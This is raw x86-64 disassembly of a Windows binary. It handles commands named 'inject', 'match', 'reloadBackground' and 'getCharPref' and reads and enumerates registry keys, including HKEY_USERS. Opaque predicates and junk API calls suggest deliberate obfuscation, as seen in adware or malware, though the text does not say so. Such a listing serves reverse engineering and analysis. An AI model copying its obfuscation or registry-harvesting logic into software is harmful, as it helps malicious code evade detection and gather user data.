lea rdx, str.message
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa50], rax
cmp byte [rax + 8], 4
jne 0x140066921
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xa60], rax
lea rdx, str.message
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa70], rax
lea rdx, [rsp + 0x3600]
mov rcx, rax
call fcn.1400387c0
nop
mov qword [rsp + 0x310], rdi
lea rcx, [rsp + 0x3600]
cmp qword [rsp + 0x3618], 0x10
cmovae rcx, qword [rsp + 0x3600]
mov qword [rsp + 0xa80], rcx
mov rdx, qword [rsp + 0x3610]
test dl, 3
jne 0x1400668c6
lea r8, [rsp + 0x310]
call fcn.140020060
mov byte [rsp + 0x98], al
test al, al
je 0x1400668c6
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
mov rbx, qword [rsp + 0x310]
mov rdx, rbx
lea rcx, [rsp + 0x128]
call fcn.140031c80
nop
mov qword [rsp + 0x320], rdi
mov ecx, dword [0x1401c4d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 0xd
jne 0x1400666bf
call fcn.1400cebc4
mov dword [0x1401c4d60], eax
cmp qword [rsp + 0x3618], 0x10
jb 0x1400666e9
mov rcx, qword [rsp + 0x3600]
mov qword [rsp + 0x680], rcx
test rcx, rcx
jne 0x1400666f9
mov rbx, qword [rsp + 0x128]
jmp 0x140066730
lea rcx, [rsp + 0x3600]
mov qword [rsp + 0x680], rcx
lea rax, [rsp + 0x320]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov rbx, qword [rsp + 0x128]
mov r8, rbx
mov rdx, qword [rsp + 0x3610]
call fcn.140020090
mov byte [rsp + 0xb0], al
test al, al
jne 0x1400667b2
test rbx, rbx
je 0x140066755
mov rcx, rbx
call fcn.1400ce2b0
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
lea rcx, [rsp + 0x3600]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x35e0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
xor bl, bl
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x128]
call fcn.140031c80
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xa90], rax
lea rdx, str.match
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xaa0], rax
mov rcx, rax
call fcn.140038a50
mov ebx, eax
mov dword [rsp + 0x7e8], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xab0], rax
lea rdx, str.inject
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xac0], rax
mov rcx, rax
call fcn.140038a50
mov dword [rsp + 0x438], eax
lea r9, [rsp + 0x128]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r14 + 0x40]
call fcn.14005d320
mov word [rsi + 8], r15w
call fcn.1400623a0
test al, al
jne 0x140066880
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov r14d, 0xb
mov word [rsi], r14w
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x1400668b4
call fcn.1400ce2b0
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
lea rcx, [rsp + 0x3600]
call fcn.1400013b0
jmp 0x14006696e
lea rcx, [rsp + 0x3600]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x35e0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
lea rcx, [rsp + 0x48]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x35e0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
mov r8d, dword [0x1401c4d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xb
jne 0x140067b8f
mov dword [rsp + 0x1c0], edi
test r8d, r8d
je 0x1400669cb
mov ecx, r8d
and ecx, 1
add edi, ecx
mov dword [rsp + 0x1c0], edi
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401c4d60], eax
jmp 0x1400669a4
mov dword [0x1401c4d60], edi
jmp 0x140067b8f
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140066da7
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 0xa
jne 0x140066a34
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov r8d, dword [0x1401c4d60]
test rsi, rsi
je 0x140066d43
xor r14b, r14b
mov byte [rsp + 0x7c], r14b
lea rcx, [rsp + 0x208]
call fcn.1400020c0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xad0], rax
lea rdx, [0x140153748]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xae0], rax
cmp byte [rax + 8], 4
jne 0x140066d21
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xaf0], rax
lea rdx, [0x140153748]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb00], rax
lea rdx, [rsp + 0x3620]
mov rcx, rax
call fcn.1400387c0
nop
mov rax, qword [rsp + 0x3630]
mov qword [rsp + 0xb10], rax
lea r8, [rsp + 0x3620]
cmp qword [rsp + 0x3638], 0x10
cmovae r8, qword [rsp + 0x3620]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x658], ebx
test eax, eax
je 0x140066cd7
mov ecx, dword [0x1401c4d60]
mov r8d, ecx
imul r8d, ecx
imul r8d, ecx
mov eax, 0x6bca1af3
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub r8d, edx
cmp r8d, 0xe
jne 0x140066ba5
mov eax, 2
mov dword [rsp + 0x154], eax
mov r8d, 0x100
mov dword [rsp + 0x210], r8d
nop dword [rax]
test eax, eax
je 0x140066b9c
test r8d, r8d
je 0x140066b9c
mov ecx, r8d
mov dword [rsp + 0x448], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x210], edx
mov eax, ecx
mov dword [rsp + 0x154], ecx
jmp 0x140066b70
add eax, r8d
mov dword [0x1401c4d60], eax
mov qword [rsp + 0x398], rdi
mov qword [rsp + 0x3a0], rdi
mov qword [rsp + 0x3a8], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x398]
call fcn.140031c80
nop
mov rax, qword [rsp + 0x3630]
mov qword [rsp + 0xb20], rax
lea r8, [rsp + 0x3620]
cmp qword [rsp + 0x3638], 0x10
cmovae r8, qword [rsp + 0x3620]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x398]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x140066c71
mov r8, qword [rsp + 0x3a0]
sub r8, rbx
mov qword [rsp + 0xb30], r8
mov rdx, rbx
lea rcx, [rsp + 0x690]
call fcn.140020390
mov qword [rsp + 0xb40], rax
mov rdx, rax
lea rcx, [rsp + 0x208]
call fcn.140002220
nop
lea rcx, [rsp + 0x690]
call fcn.1400021a0
mov r14b, 1
mov byte [rsp + 0x7c], r14b
mov ecx, dword [0x1401c4d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub r8d, edx
cmp r8d, 4
jne 0x140066cb2
lea rcx, [rsp + 0x3830]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
nop
test rbx, rbx
je 0x140066cd7
mov rcx, rbx
call fcn.1400ce2b0
mov qword [rsp + 0x398], rdi
mov qword [rsp + 0x3a0], rdi
mov qword [rsp + 0x3a8], rdi
lea rcx, [rsp + 0x3620]
call fcn.1400013b0
test r14b, r14b
je 0x140066d21
mov rcx, qword [rsp + 0x208]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x768], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb50], rax
test rax, rax
jne 0x140066d13
call fcn.140002490
mov qword [rsi + 8], rax
mov eax, 8
mov word [rsi], ax
jmp 0x140066d2f
mov word [rsi + 8], di
mov r14d, 0xb
mov word [rsi], r14w
lea rcx, [rsp + 0x208]
call fcn.1400021a0
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 0xa
jne 0x140067b8f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0xcccccccd
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
inc r8d
mov dword [rsp + 0x458], r8d
mov dword [0x1401c4d60], r8d
jmp 0x140067b8f
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140066e22
mov rcx, qword [r14 + 0x40]
add rcx, 0x1f0
call fcn.14006ca00
mov eax, dword [0x1401c4d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 3
jne 0x140066e0a
call fcn.1400cebc4
mov ecx, dword [0x1401c4d60]
cmp ecx, eax
jne 0x140066e0a
dec ecx
mov dword [0x1401c4d60], ecx
test rsi, rsi
je 0x140067b8f
mov r12d, 1
mov word [rsi], r12w
jmp 0x140067b8f
lea rdx, str.debugMessage
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140066ee0
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xb60], rax
lea rdx, str.message
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb70], rax
cmp byte [rax + 8], 4
jne 0x140066ee0
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xb80], rax
lea rdx, str.message
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xba0], rdx
lea rcx, [rsp + 0x6a0]
call fcn.140003170
nop
test rsi, rsi
je 0x140066ece
mov word [rsi + 8], r15w
mov r14d, 0xb
mov word [rsi], r14w
lea rcx, [rsp + 0x6a0]
call fcn.1400021a0
jmp 0x140067b8f
test rsi, rsi
je 0x140067b8f
mov word [rsi + 8], di
mov r14d, 0xb
mov word [rsi], r14w
jmp 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xbb0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xbc0], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
test rsi, rsi
je 0x140067b8f
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], rdi
mov qword [rsp + 0x248], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xbd0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0xbe0], rax
cmp rax, r12
je 0x140067235
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xbf0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xc00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc10], rdx
lea rcx, [rsp + 0x218]
call fcn.140003170
nop
mov rbx, qword [r14 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x218]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc20], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xc30], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xc40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc50], rdx
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x668], eax
test eax, eax
je 0x14006710b
mov dword [rsi + 8], eax
mov eax, 0x16
mov word [rsi], ax
lea rcx, [rsp + 0x218]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x238]
call fcn.14001aa90
nop
lea rcx, [rsp + 0x48]
call fcn.1400021a0
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x1400670b9
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
xor bl, bl
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
mov ebx, edi
mov dword [rsp + 0x158], ebx
mov dword [rsp + 0xe8], 0x7ffe
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.1400035d0
mov r12, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r12, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xc60], r12
mov ecx, 0x7ffe
call fcn.1400cd918
mov r14, rax
mov qword [rsp + 0xc70], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400d3710
nop
mov edx, ebx
inc ebx
mov dword [rsp + 0x158], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0xe8]
mov r8, r14
mov rcx, qword [rsp + 0x6b0]
call r12
mov dword [rsp + 0x468], eax
test eax, eax
jne 0x1400671ff
mov rdx, r14
lea rcx, [rsp + 0x6c0]
call fcn.140003170
nop
mov rdx, rax
lea rcx, [rsp + 0x238]
call fcn.140027d70
nop
lea rcx, [rsp + 0x6c0]
call fcn.1400021a0
xor edx, edx
mov r8d, 0x7ffe
mov rcx, r14
call fcn.1400d3710
mov dword [rsp + 0xe8], 0x7ffe
jmp 0x140067170
cmp eax, 0x103
je 0x140067222
mov rax, qword [rsp + 0x240]
sub rax, qword [rsp + 0x238]
test rax, 0xfffffffffffffff8
jne 0x140067222
xor bl, bl
jmp 0x140067224
mov bl, 1
mov byte [rsp + 0x51], bl
lea rcx, [rsp + 0x218]
jmp 0x14006731a
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.1400035d0
lea rdx, str.param
lea rcx, [rsp + 0x58]
test eax, eax
jne 0x1400672b9
call fcn.1400390c0
mov qword [rsp + 0xc80], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xc90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xca0], rdx
lea rcx, [rsp + 0x330]
call fcn.140003170
nop
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0x330]
call fcn.14004ae70
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x330]
jmp 0x14006731a
call fcn.1400390c0
mov qword [rsp + 0xcb0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xcc0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcd0], rdx
lea rcx, [rsp + 0x340]
call fcn.140003170
nop
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0x340]
call fcn.14004ab00
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x340]
call fcn.1400021a0
test bl, bl
je 0x14006757c
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 9
jne 0x140067385
mov r12d, 1
mov dword [rsp + 0x160], r12d
cmp r12d, r8d
jge 0x14006737e
mov eax, r8d
cdq
idiv r12d
inc r12d
add r12d, edx
mov dword [rsp + 0x160], r12d
jmp 0x140067362
mov dword [0x1401c4d60], r12d
lea rdx, [0x14015366c]
lea rcx, [rsp + 0xb8]
call fcn.140002100
nop
mov rbx, qword [rsp + 0x238]
mov qword [rsp + 0x6f0], rbx
cmp rbx, qword [rsp + 0x240]
je 0x140067480
lea rdx, [0x1401536b4]
lea rcx, [rsp + 0x360]
call fcn.140003170
nop
lea rdx, [0x1401536b8]
lea rcx, [rsp + 0x350]
call fcn.140003170
nop
mov r8, rbx
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x6e0]
call fcn.14000f690
nop
lea r8, [rsp + 0x360]
mov rdx, rax
lea rcx, [rsp + 0x6d0]
call fcn.14000f690
mov qword [rsp + 0xce0], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x864], r8d
mov qword [rsp + 0xcf0], rdx
lea rcx, [rsp + 0xb8]
call fcn.140010150
nop
lea rcx, [rsp + 0x6d0]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x6e0]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x350]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x360]
call fcn.1400021a0
add rbx, 8
jmp 0x1400673a2
mov rax, qword [rsp + 0xb8]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x478], r8d
dec r8d
lea rdx, [rsp + 0x710]
lea rcx, [rsp + 0xb8]
call fcn.14001a680
nop
lea r8, [0x1401536b0]
mov rdx, rax
lea rcx, [rsp + 0x700]
call fcn.14001a720
mov qword [rsp + 0xd00], rax
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.140002220
nop
lea rcx, [rsp + 0x700]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x710]
call fcn.1400021a0
mov eax, dword [0x1401c4d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 9
jne 0x140067537
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rcx, qword [rsp + 0xb8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x820], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd10], rax
test rax, rax
jne 0x140067561
call fcn.140002490
mov qword [rsi + 8], rax
mov eax, 8
mov word [rsi], ax
lea rcx, [rsp + 0xb8]
call fcn.1400021a0
jmp 0x14006758a
mov word [rsi + 8], di
mov r14d, 0xb
mov word [rsi], r14w
lea rcx, [rsp + 0x238]
call fcn.14001aa90
jmp 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xd20], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xd30], rax
cmp byte [rax + 8], 4
jne 0x140067aaf
test rsi, rsi
je 0x140067aaf
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xd40], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xd50], rax
cmp byte [rax + 8], 4
jne 0x140067aaf
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xd60], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xd70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd80], rdx
lea rcx, [rsp + 0xd0]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xd90], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xda0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdb0], rdx
lea rcx, [rsp + 0xc8]
call fcn.140003170
nop
mov rbx, rdi
mov qword [rsp + 0x120], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xdc0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0xdd0], rax
cmp rax, r12
je 0x1400677a6
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xde0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xdf0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe00], rdx
lea rcx, [rsp + 0x370]
call fcn.140003170
nop
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x120], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x370]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x120], rbx
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x720], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006779e
mov rdx, qword [rsp + 0x720]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x120]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140067922
lea rcx, [rsp + 0x140]
call fcn.1400020c0
nop
test rbx, rbx
je 0x1400677fc
mov r9, rbx
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x140]
call fcn.140049bf0
mov r13, qword [rsp + 0x40]
jmp 0x1400678b2
lea rax, [rsp + 0x730]
mov qword [rsp + 0xe10], rax
lea rdx, [0x14014d8b8]
lea rcx, [rsp + 0x730]
call fcn.140002100
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401bfd48]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x740]
call fcn.1400491d0
mov qword [rsp + 0xe20], rax
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.140002220
nop
mov rcx, qword [rsp + 0x740]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x750], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067895
mov rdx, qword [rsp + 0x750]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov r13, qword [rsp + 0x40]
jmp 0x1400678b2
mov rcx, qword [rsp + 0x140]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x840], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xe30], rax
test rax, rax
jne 0x1400678dc
call fcn.140002490
mov qword [rsi + 8], rax
mov eax, 8
mov word [rsi], ax
mov rcx, qword [rsp + 0x140]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x770], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067a4a
mov rdx, qword [rsp + 0x770]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140067a4a
mov r14d, r15d
mov dword [rsp + 0xa0], r15d
mov dword [rsp + 0xe4], 0xffffffff
test rbx, rbx
je 0x1400679c5
mov ecx, dword [0x1401c4d60]
imul ecx, ecx
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 7
jne 0x140067989
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401c4d60]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401c4d60], ecx
mov r9, rbx
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xe4]
call fcn.140049e40
mov byte [rsp + 0x79], al
mov ecx, dword [rsp + 0xe4]
cmp ecx, 0xffffffff
je 0x140067a25
mov r14d, ecx
mov dword [rsp + 0xa0], ecx
jmp 0x140067a1f
lea rax, [rsp + 0x780]
mov qword [rsp + 0xe40], rax
lea rdx, [0x14014d8b8]
lea rcx, [rsp + 0x780]
call fcn.140002100
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401bfd48]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xa0]
call fcn.14004a200
mov byte [rsp + 0x79], al
mov r14d, dword [rsp + 0xa0]
cmp r14d, 0xffffffff
jne 0x140067a39
test al, al
jne 0x140067a39
mov word [rsi + 8], di
mov r14d, 0xb
mov word [rsi], r14w
jmp 0x140067a45
mov dword [rsi + 8], r14d
mov eax, 0x16
mov word [rsi], ax
mov r13, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x790], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067a7c
mov rdx, qword [rsp + 0x790]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067ab4
mov rdx, qword [rsp + 0x7a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140067ab4
mov r13, qword [rsp + 0x40]
mov esi, dword [0x1401c4d60]
lea ecx, [rsi + 2]
lea eax, [rsi + 1]
imul ecx, eax
imul ecx, esi
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, 7
jne 0x140067b94
mov r14d, edi
mov dword [rsp + 0x25c], edi
cmp r14d, 0xd
jge 0x140067b94
mov r11d, edi
mov dword [rsp + 0x254], edi
cmp r11d, 4
jge 0x140067b76
mov r10d, edi
mov dword [rsp + 0x150], edi
cmp r10d, 6
jge 0x140067b69
lea ebx, [r10 + 1]
lea ecx, [r11 + 1]
mov eax, esi
cdq
idiv ecx
mov r9d, edx
mov eax, esi
cdq
idiv ebx
imul r9d, eax
mov eax, esi
sub eax, r14d
imul r9d, eax
movsxd rcx, r14d
movsxd rax, r11d
lea rcx, [rax + rcx*4]
lea r8, [rcx + rcx*2]
movsxd rax, r10d
lea rcx, [rsp + 0x3b10]
add rcx, rax
mov byte [rcx + r8*2], r9b
mov r10d, ebx
mov dword [rsp + 0x150], ebx
jmp 0x140067b15
inc r11d
mov dword [rsp + 0x254], r11d
jmp 0x140067b05
inc r14d
mov dword [rsp + 0x25c], r14d
jmp 0x140067af1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
